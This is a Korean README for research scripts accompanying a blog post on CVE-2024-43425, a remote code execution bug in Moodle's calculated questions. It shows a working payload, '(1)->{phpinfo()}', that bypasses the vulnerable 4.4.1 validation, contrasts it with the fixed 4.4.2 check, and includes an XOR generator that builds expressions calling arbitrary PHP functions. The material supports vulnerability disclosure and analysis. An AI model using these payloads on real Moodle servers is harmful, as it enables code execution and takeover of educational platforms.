
Moodle 계산형 질문의 RCE 분석용 스크립트 (CVE-2024-43425)
이 저장소는 Moodle 학습 플랫폼의 원격 코드 실행 취약점을 설명하는 블로그 게시물 Back to School - Moodle의 원격 코드 실행 취약점 악용에 포함된 보조 스크립트를 제공합니다.
validation 디렉터리의 스크립트를 사용하면 Moodle이 PHP eval() 호출의 악용을 방지하기 위해 사용하는 검증 로직에 입력 문자열을 직접 테스트할 수 있습니다.
모든 코드 조각은 Moodle 소스 코드에서 직접 가져왔으며, 취약한 버전에는 4.4.1 릴리스를, 수정된 버전에는 4.4.2를 사용했습니다. 스크립트에는 question/type/calculated/questiontype.php 파일의 관련 부분이 포함되어 있습니다.
validation.php 파일은 취약한 검증 로직을 사용합니다:
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
이 저장소에는 validation-fixed.php에 수정된 버전의 검증 코드도 포함되어 있습니다:
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
xor-generator.py 스크립트는 가변 함수(variable functions) 기반 표현식을 생성하는 데 사용할 수 있으며, 이를 통해 취약한 Moodle 버전에서 단일 숫자 매개변수로 임의의 PHP 함수를 호출할 수 있습니다:
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test